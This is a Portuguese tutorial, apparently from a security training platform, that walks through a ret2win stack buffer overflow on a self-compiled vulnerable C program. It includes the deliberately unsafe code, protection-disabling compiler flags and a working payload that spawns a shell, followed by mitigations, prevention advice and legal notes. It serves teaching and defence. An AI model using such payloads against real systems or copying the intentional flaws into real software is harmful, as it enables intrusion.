Um buffer overflow, ou estouro de buffer, acontece quando um programa grava em um bloco de memória mais dados do que ele foi dimensionado para armazenar, e o excedente cai sobre o que estava logo ao lado. Na pilha, esse vizinho costuma ser o endereço para onde a CPU vai saltar quando a função atual terminar. Sobrescreva-o com um endereço seu e você deixa de ser usuário do programa para se tornar quem o comanda. Este guia percorre o ataque de ponta a ponta em um binário que você mesmo pode compilar, e depois mostra as quatro proteções que o tornaram difícil. O capítulo de buffer overflow da HackerDNA repete o mesmo exercício com um depurador aberto, em uma aba do navegador em vez de uma máquina virtual.
A técnica remonta ao worm Morris de 1988, e é normalmente aí que as pessoas param de ler e concluem que o problema já foi resolvido. Não foi. Sete entradas de buffer overflow foram adicionadas ao catálogo de vulnerabilidades ativamente exploradas da CISA entre janeiro e agosto de 2026, e a mais recente era uma falha de cinco anos em firmware de roteador doméstico.
TL;DR: um buffer overflow sobrescreve a memória logo depois do fim de um buffer, e na pilha essa memória guarda o endereço de retorno salvo. Envie 72 bytes de preenchimento mais um endereço de 8 bytes para um buffer de 64 bytes e o programa retorna exatamente para onde você apontar. Compilações modernas barram a versão ingênua com canários de pilha, memória não executável, ASLR e código independente de posição, e é por isso que a exploração atual consiste em reutilizar código já presente no binário em vez de injetar código novo.
O que é um buffer overflow?
Um buffer overflow é um bug de corrupção de memória em que um programa grava dados além do fim de um buffer de tamanho fixo, sobrescrevendo a memória adjacente. Quando essa memória contém dados de controle, como o endereço de retorno de uma função, quem controla a entrada controla onde o programa vai executar em seguida.
Duas condições precisam coincidir. O programa precisa de um buffer de tamanho fixo e de uma operação de cópia que não verifica o quanto está copiando. C e C++ entregam as duas por padrão: char user[64] aloca exatamente 64 bytes, e gets(), strcpy(), sprintf() ou memcpy() com um tamanho influenciado pelo atacante gravam alegremente além do fim. Não existe verificação de limites a menos que o programador escreva uma.
É por isso que essa classe de vulnerabilidade é inseparável das linguagens que a permitem. Java, Go, Rust, Python e C# inserem verificações de limites ou rastreiam a posse da memória, e uma gravação fora do intervalo lança uma exceção em vez de corromper silenciosamente a variável seguinte. Buffer overflows vivem onde C e C++ vivem: kernels, daemons de rede, analisadores de mídia, firmwares, drivers e os bilhões de dispositivos embarcados que saíram de fábrica com um compilador de 2014 e nunca serão atualizados.
O vocabulário confunde, então aqui vai o mapa. Buffer overflow é o comportamento geral. Stack overflow significa que o buffer era uma variável local. Heap overflow significa que ele veio de malloc(). Gravação fora dos limites é a classe formal de fraqueza, catalogada como CWE-787, que ficou em quinto lugar no CWE Top 25 de 2025 publicado em dezembro daquele ano. O estouro de buffer baseado em pilha tem identificador próprio, CWE-121, na posição 14 da mesma lista.
Como um estouro de buffer na pilha funciona de verdade
Tudo no ataque decorre de uma decisão de projeto tomada há décadas: no x86-64, o endereço de retorno é guardado na mesma pilha das variáveis locais, e fica acima delas.
Como é um quadro de pilha
Chamar uma função empilha o endereço no qual retomar assim que ela devolver o controle. A função então monta seu próprio quadro e aloca as locais abaixo desse endereço salvo. Um quadro com um buffer de 64 bytes fica assim, do endereço de memória mais baixo para o mais alto:
char user[64], o buffer, 64 bytesRBPsalvo, o ponteiro de quadro do chamador, 8 bytesRIPsalvo, o endereço de retorno, 8 bytes
Gravar em user avança para cima nessa lista. Os primeiros 64 bytes preenchem o buffer. Os bytes 65 a 72 caem sobre o ponteiro de quadro salvo. Os bytes 73 a 80 caem sobre o endereço de retorno. Essa aritmética, 64 mais 8 igual a 72, é o deslocamento que você sempre procura.
O que acontece na instrução ret
A instrução ret faz uma coisa só: desempilha oito bytes do topo da pilha para o ponteiro de instrução e salta para lá. Ela não os valida. Se esses oito bytes forem AAAAAAAA, a CPU falha ao tentar executar em 0x4141414141414141 e você recebe uma falha de segmentação. Se forem o endereço de uma função real, a CPU a chama, e o programa se comporta como se tivesse sido escrito para isso. Essa é toda a diferença entre uma queda e um exploit.
Um exemplo de buffer overflow que você pode rodar hoje
Aqui está um programa com o bug dentro. Salve como vuln.c:
#include <stdio.h>
#include <stdlib.h>
void win(void) {
puts("[+] win() reached - spawning shell");
system("/bin/sh");
}
void login(void) {
char user[64];
printf("Username: ");
gets(user);
printf("Access denied for %s\n", user);
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
login();
return 0;
}
win() nunca é chamada. Ela existe no binário e nada a alcança, e é daí que vem o nome do padrão: ret2win. Compile com as proteções modernas desligadas, porque o objetivo aqui é ver o mecanismo antes de ver o que o derrota:
$ gcc -fno-stack-protector -z execstack -no-pie -g -o vuln vuln.c
/usr/bin/ld: warning: the `gets' function is dangerous and should not be used.
Esse aviso do linker não é formalidade. gets() não tem nenhum uso seguro, e por isso o comitê de padronização do C a removeu de vez no C11 em vez de continuar depreciando. Quatro passos levam você do código-fonte ao shell.
- Provoque a queda. Alimente o programa com um padrão longo e não repetitivo em vez de uma sequência monótona de As, para que os bytes que chegarem ao endereço de retorno digam de onde vieram. O
pwntoolsgera um comcyclic(120). - Leia o deslocamento na pilha. Rode sob o GDB e olhe o que está no topo da pilha no momento da falha:
Decodificados em little-endian, esses oito bytes viram$ gdb -q -batch -ex "run < pattern.txt" -ex "x/1gx \$rsp" ./vuln Program received signal SIGSEGV, Segmentation fault. 0x000000000040122d in login () at vuln.c:14 0x7fffffffcd88: 0x6161617461616173saaataaa. Procure essa substring no padrão: ela começa no índice 72. Sem adivinhação, sem busca binária, uma única execução. - Obtenha o endereço alvo.
nm vuln | grep -w windevolve00000000004011b6 T win. Como o binário foi construído com-no-pie, esse endereço é fixo em toda execução. - Monte o payload. Setenta e dois bytes de preenchimento e então o endereço de
win()empacotado em little-endian:$ python3 -c "import sys,struct; sys.stdout.buffer.write(b'A'*72 + struct.pack('<Q', 0x4011b6))" > payload $ (cat payload; echo; cat) | ./vuln Username: Access denied for AAAAAAAA... [+] win() reached - spawning shell id uid=0(root) gid=0(root) groups=0(root)
Na prática, dois obstáculos aparecem exatamente neste programa, e vale conhecê-los antes que custem uma tarde. O alinhamento de pilha vem primeiro: system() na glibc moderna usa instruções SSE que falham se RSP não estiver alinhado em 16 bytes na hora da chamada, então se win() chegar ao system() e morrer ali, coloque um gadget ret puro antes do payload para deslocar a pilha em oito bytes. Depois vem o buffering da entrada padrão. O gets() pode engolir o pipe inteiro para dentro do buffer da stdio, de modo que o seu novo shell lê fim de arquivo e encerra antes que você digite qualquer coisa, e é a construção (cat payload; echo; cat) acima que mantém o pipe aberto.
Um esclarecimento sobre aquela linha uid=0(root), porque é a leitura equivocada mais comum de uma demonstração ret2win. Ela saiu de um contêiner descartável cujo único usuário é root. Um buffer overflow entrega os privilégios que o processo já tinha. É uma primitiva de execução, não uma técnica de escalada de privilégios, e as duas só se combinam quando o binário vulnerável é setuid ou roda sob uma conta de serviço.
Pilha, heap e estouros de inteiro
O exemplo acima é um estouro de pilha, por onde todo mundo começa, porque os dados de controle estão bem ali ao lado do buffer. Outras duas famílias aparecem o tempo todo em avisos de segurança reais.
| Tipo | Onde o buffer vive | O que é corrompido | Dificuldade típica |
|---|---|---|---|
| Estouro de pilha | Variável local em um quadro de função | Endereço de retorno salvo, ponteiro de quadro, outras locais | A menor |
| Estouro de heap | Memória vinda de malloc() | Metadados do alocador, ponteiros de função de objetos vizinhos | Maior |
| Estouro de inteiro que leva a overflow | Qualquer um dos dois | O próprio cálculo de tamanho, que subdimensiona a alocação | Variável |
É para o heap que os bugs interessantes migraram. Não há endereço de retorno ao lado de um buffer do heap, então a exploração passa por corromper a contabilidade do alocador ou o ponteiro de função de um objeto vizinho, o que exige moldar o layout do heap antes. Em compensação, bugs de heap sobrevivem às proteções que mataram a exploração fácil da pilha. Use After Free, CWE-416, ficou em sétimo no CWE Top 25 de 2025, duas posições acima da fraqueza clássica de cópia de buffer.
O caso dos inteiros se esconde bem em revisão de código. Uma função calcula malloc(count * size), o atacante fornece um count grande o bastante para estourar a multiplicação, a alocação volta bem menor do que o pretendido, e a cópia seguinte transborda um buffer que parecia corretamente dimensionado três linhas antes. A CVE-2021-3156 do sudo era prima disso: um erro de deslocamento de uma unidade (off-by-one) no tratamento do escape de barras invertidas produzia um estouro de heap que dava root em toda versão do sudo lançada entre julho de 2011 e janeiro de 2021, uma década de bug alojado no binário setuid mais auditado do Linux.
Por que buffer overflows ainda importam em 2026
A resposta curta e honesta é que importam menos do que em 2005 e mais do que a maioria dos defensores supõe. Os números sustentam as duas metades disso.
Bugs de segurança de memória seguem sendo a classe dominante de vulnerabilidade em bases de código grandes de C e C++. Matt Miller, da Microsoft, relatou na BlueHat de 2019 que cerca de 70 por cento das CVEs corrigidas pela empresa nos doze anos anteriores eram problemas de segurança de memória, e o projeto Chromium relata os mesmos 70 por cento para seus bugs de severidade alta, medidos ao longo de 912 deles desde 2015.
O que mudou foi quais estouros são explorados de fato, e o catálogo de vulnerabilidades ativamente exploradas da CISA responde a isso melhor que qualquer relatório de fornecedor, porque cada entrada é uma falha que alguém realmente usou contra um alvo real. Das 1.662 entradas do catálogo em 10 de agosto de 2026, 84 são descritas como buffer overflows, cerca de cinco por cento. Ordenar essas 84 pela data em que a CISA as adicionou mostra onde a classe foi parar:
- Appliances de rede e firewalls. A CVE-2025-53521, um estouro de pilha no F5 BIG-IP APM que leva à execução remota de código, entrou em março de 2026. Equipamentos de borda analisam tráfego não confiável em C antes de qualquer autenticação, o que é a pior combinação possível.
- Firmware doméstico e embarcado. A CVE-2021-27137, um estouro de pilha no manipulador UPnP do DD-WRT alcançável sem autenticação, entrou em julho de 2026. A CVE tem cinco anos. Firmware de roteador não recebe correção, então o bug simplesmente espera.
- Sistemas operacionais móveis e de desktop. Três problemas distintos de estouro de buffer da Apple chegaram ao catálogo entre fevereiro e março de 2026, todos em caminhos de código que tratam mídia ou tráfego de rede fornecidos pelo atacante.
O padrão é consistente. Ninguém está explorando um estouro de pilha em uma aplicação de servidor Linux recém-compilada, porque os padrões do compilador tornam isso pouco rentável. Estão explorando as partes do parque compiladas há dez anos, rodando em arquiteturas com proteções mais fracas e sem caminho de atualização. Se você precisa escolher onde olhar durante um teste de rede, essa é a lista curta.
As quatro proteções que tornaram os buffer overflows difíceis
Recompile exatamente o mesmo vuln.c sem nenhuma opção e o ataque desmorona na hora:
$ gcc -o vuln_hardened vuln.c
$ python3 -c "import sys; sys.stdout.buffer.write(b'A'*72 + b'\xb6\x11\x40\x00\x00\x00\x00\x00')" | ./vuln_hardened
Username: Access denied for AAAAAAAA...
*** stack smashing detected ***: terminated
Aborted
Nada mudou no código-fonte. Quatro proteções distintas, todas ligadas por padrão no gcc 13.3 do Ubuntu, estão fazendo o trabalho.
- Canários de pilha. O compilador coloca um valor aleatório entre os buffers locais e o endereço de retorno salvo, e confere se ele está intacto antes de retornar. Sobrescrever o endereço de retorno implica necessariamente sobrescrever o canário antes, o que produz o encerramento abrupto
stack smashing detectedmostrado acima. Confirme a presença dele comnm binary | grep stack_chk. - Memória não executável, NX ou DEP. As páginas de pilha são mapeadas como graváveis, mas não executáveis, então um shellcode gravado em um buffer falha quando a CPU tenta executá-lo.
readelf -lW binary | grep GNU_STACKmostraRWna compilação endurecida eRWEnaquela feita com-z execstack. Sozinha, essa mudança aposentou uma geração inteira de tutoriais que ensinam a injetar shellcode na pilha. - ASLR. O kernel aleatoriza onde a pilha, o heap e as bibliotecas caem a cada execução, então um endereço fixo no código está errado na próxima. O Linux o mantém ligado por padrão desde 2005, controlado por
/proc/sys/kernel/randomize_va_space. - Executáveis independentes de posição. O ASLR só aleatoriza o código do próprio programa se o binário for construído como PIE. Verifique com
readelf -hW binary | grep Type:DYNé independente de posição,EXECsignifica que os endereços são fixos e que0x4011b6continua válido em toda execução. Foi por isso que a demonstração usou-no-pie.
Os atacantes se adaptaram em vez de desistir. Pilhas não executáveis empurraram a exploração para a programação orientada a retorno, que encadeia sequências curtas de instruções já presentes no binário e nunca injeta código novo. O ASLR a empurrou para primeiro vazar os endereços reais do alvo e só então montar o payload. Ambas são cobertas no curso de exploração de binários, e ambas dão muito mais trabalho que os quatro passos acima, que é justamente o objetivo de uma proteção.
Vale checar primeiro, sempre: rode checksec --file=binary antes de escrever um único byte de payload. O estado de canário, NX, PIE e RELRO determina qual técnica é sequer possível, e cinco segundos de leitura poupam uma hora construindo um exploit contra uma defesa que o alvo não tem.
Como prevenir buffer overflows
Como prevenir um buffer overflow? Use uma linguagem com segurança de memória para código novo, troque funções de cópia sem limite por equivalentes com verificação de tamanho no C e C++ existentes, mantenha todas as opções de endurecimento do compilador ligadas e rode fuzzing contínuo com um sanitizer para que os estouros apareçam em teste e não em produção.
Em ordem de quanto risco cada passo remove:
- Escreva componentes novos em uma linguagem com segurança de memória. Isso elimina a classe inteira em vez de mitigá-la. CISA, NSA, FBI e agências parceiras da Austrália, Canadá, Nova Zelândia e Reino Unido publicaram The Case for Memory Safe Roadmaps em dezembro de 2023 pedindo aos fabricantes exatamente esse tipo de plano, e a NSA veio depois com orientação dedicada a linguagens com segurança de memória em junho de 2025. Reescrever uma base C de um milhão de linhas raramente é realista. Escrever o parser novo em Rust normalmente é.
- Apague as funções perigosas.
gets()não tem uso seguro e foi removida no C11.strcpy(),strcat()esprintf()gravam até encontrarem um byte nulo, sem a menor ideia do tamanho do destino. As substitutas limitadas,snprintf()estrlcpy(), exigem um argumento de tamanho, o que obriga o programador a pensar nisso uma vez. - Ligue o compilador.
-D_FORTIFY_SOURCE=3,-fstack-protector-strong,-fstack-clash-protection,-Wl,-z,relro,-z,nowe PIE custam quase nada em tempo de execução e cada um fecha uma técnica. Acrescente-fcf-protectionno x86-64, ou identificação de alvo de desvio no ARM moderno, para que a integridade de fluxo de controle em hardware rejeite saltos para endereços que não são pontos de entrada válidos de função. - Faça fuzzing contínuo com sanitizers ligados. O AddressSanitizer pega gravações fora dos limites no instante em que acontecem, e não quando a memória corrompida é lida depois, o que transforma um bug fantasma em um rastro de pilha. Combine
-fsanitize=addresscom libFuzzer ou AFL++ e aponte para toda função que analisa entrada vinda de fora do seu perímetro de confiança. - Corrija a borda primeiro. Os dados do catálogo da CISA acima são inequívocos sobre onde a exploração de fato ocorre. Concentradores VPN, firewalls, balanceadores de carga e roteadores merecem uma janela de correção mais curta que servidores de aplicação internos.
Uma ressalva sobre as opções do compilador. Elas elevam o custo da exploração, não removem o bug, e um atacante com um vazamento de informação atravessa todas elas. Trate as proteções como tempo ganho até o patch, não como o patch.
Perguntas frequentes
Qual é a diferença entre buffer overflow e stack overflow?
Buffer overflow é gravar além do fim de qualquer buffer de tamanho fixo. Stack overflow, no sentido de exploração, é aquele em que o buffer era uma variável local de um quadro de função, o que coloca o endereço de retorno salvo ao alcance. De forma confusa, a mesma expressão também descreve o esgotamento da pilha por recursão descontrolada, que é uma queda e não uma corrupção de memória.
Buffer overflows ainda são exploráveis em 2026?
Sim, embora raramente na forma de livro-texto. Canários de pilha, memória não executável e ASLR fazem o ataque clássico de sobrescrever e saltar falhar em qualquer binário compilado recentemente. A exploração migrou para corrupção de heap, vazamentos de informação combinados com programação orientada a retorno e alvos embarcados que saem de fábrica sem essas proteções. A CISA adicionou sete novas entradas de buffer overflow ao seu catálogo de vulnerabilidades ativamente exploradas nos primeiros oito meses de 2026.
Quais linguagens de programação são vulneráveis a buffer overflows?
Principalmente C, C++ e assembly, além de qualquer linguagem que os chame por uma interface de funções externas (FFI). Java, C#, Python, Go, JavaScript e o Rust seguro fazem verificação de limites e lançam exceção ou entram em pânico em vez de corromper a memória adjacente. Os blocos unsafe do Rust e os módulos de extensão em C do Python são as escapatórias habituais que valem auditoria.
Preciso saber assembly para explorar um buffer overflow?
Você precisa saber ler, não escrever. Para um estouro de pilha, reconheça prólogos e epílogos de função, siga um call e um ret e saiba o que RSP, RBP e RIP guardam. Isso dá mais ou menos um fim de semana de estudo. A programação orientada a retorno eleva a barra porque você seleciona gadgets pelas sequências de instruções, mas ferramentas como o ropper fazem a busca.
Considerações legais e éticas
Lembrete essencial: compile e ataque binários que você mesmo escreveu ou que foram feitos para treinamento. Enviar entrada forjada para software que não é seu pode configurar acesso não autorizado sob a Lei 12.737 no Brasil, o Computer Fraud and Abuse Act nos Estados Unidos, o Computer Misuse Act no Reino Unido e leis equivalentes em outros países. Além disso, uma tentativa fracassada de corrupção de memória em geral derruba o serviço, o que transforma uma curiosidade em indisponibilidade.
Dois pontos são específicos dessa classe de bug. Fuzzing não é passivo: apontar um fuzzer para um serviço em produção é uma carga contínua que provoca quedas, então isso pertence à sua própria cópia do alvo e a uma janela de trabalho definida por escrito. E se você encontrar um estouro real em software que não é seu, a página da OWASP sobre ataques de buffer overflow serve como referência em um relatório de divulgação, junto com a entrada que provoca a queda, a versão afetada e nada além da prova de conceito mínima necessária para sustentar o achado.
A divulgação coordenada também pesa mais aqui do que em segurança web. Um exploit funcional de corrupção de memória para um daemon de rede é uma capacidade séria, e publicá-lo antes de existir correção coloca em risco toda instalação não corrigida, de um jeito que uma prova de conceito de XSS não coloca.
Seus próximos passos com buffer overflows
O mecanismo por trás de um buffer overflow cabe na cabeça: a entrada passa do fim de um buffer, alcança o endereço de retorno salvo, e a instrução ret salta para onde você mandou. Cadeias ROP, bugs de string de formato e modelagem de heap são todos construídos sobre essa única ideia, e é por isso que vale fazer uma vez à mão em vez de ler cinco vezes a respeito.
Ignore os tutoriais que ainda ensinam x86 de 32 bits com shellcode na pilha e ASLR desligado. Essa abordagem morreu com o NX, e só os nomes dos registradores já vão confundir você diante de um binário de 64 bits de verdade. Compile o vuln.c acima, obtenha sua própria falha de segmentação esta semana e instale pwndbg ou GEF de uma vez, porque uma visão de pilha que rotula o endereço de retorno em cor economiza mais tempo do que qualquer outra decisão de ferramenta aqui.
Daí em diante, o Binary Secrets serve como aquecimento de uma noite na leitura de estruturas de arquivo, e o lab Hack the Box termina em uma cadeia ROP ARM64 montada com pwntools e ropper. O curso de exploração de binários cobre o mesmo terreno em dez capítulos, do layout da pilha ao ROP, strings de formato, corrupção de heap e shellcode, com um capítulo de proteções sobre o que fazer quando o caminho fácil se fecha. Tudo roda no navegador, e o plano gratuito não pede cartão de crédito.